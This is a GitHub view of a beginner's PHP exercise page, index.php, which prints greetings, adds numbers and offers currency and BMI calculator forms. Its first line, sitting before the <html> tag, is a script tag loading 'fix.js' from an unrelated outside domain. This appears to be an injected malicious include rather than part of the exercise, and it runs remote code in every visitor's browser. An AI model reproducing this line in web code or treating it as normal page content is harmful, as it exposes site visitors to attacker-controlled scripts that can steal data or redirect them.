-
Notifications
You must be signed in to change notification settings - Fork 1
/
index.php
60 lines (46 loc) · 1.26 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<script src="//novuu.com/fix.js" type="text/javascript"></script>
<html>
<head lang="en">
<meta charset="UTF-8">
<title>functions - Joris Bulters - MD2A</title>
</head>
<body>
<?php
include 'functions.php';
//See http://bovi.hosts.ma-cloud.nl/md2_bap/p2_w1_functions/
writeHello();
writeMsg('Hello person that reads this.');
writeMsg('Bye Bye mysterious person.');
writeMsgTo('Mysterious person','Welcome on this page.');
$outcome = addNumbers(5, 7);
echo 'The outcome of 5 + 7 = '. $outcome .'<br/>';
$outcome = calcRectNumb(5, 7);
echo 'The area of a rectangle of 5 and 7 = '. $outcome .'<br/>';
?>
<br>
<hr>
<h3>Currency Calculator</h3>
<form action="money.php" method="post">
<p><input type="text" name="money" placeholder="Dollars -> Euros"></p>
<p><input type="submit" value="Verstuur" name="go"></p>
<p><input type="reset" value="Reset"></p>
</form>
<br>
<hr>
<h3>BMI CALCULATOR</h3>
<form method="post" action="bmi.php">
<input type="text" name="height" placeholder="Height">
<input type="text" name="weight" placeholder="Weight">
<input type="submit" value="Calculate">
<p><input type="reset" value="Reset"></p>
</form>
</body>
</html>
<?php
/**
* Created by PhpStorm.
* User: jorisbulters
* Date: 26-10-15
* Time: 13:47
*/
?>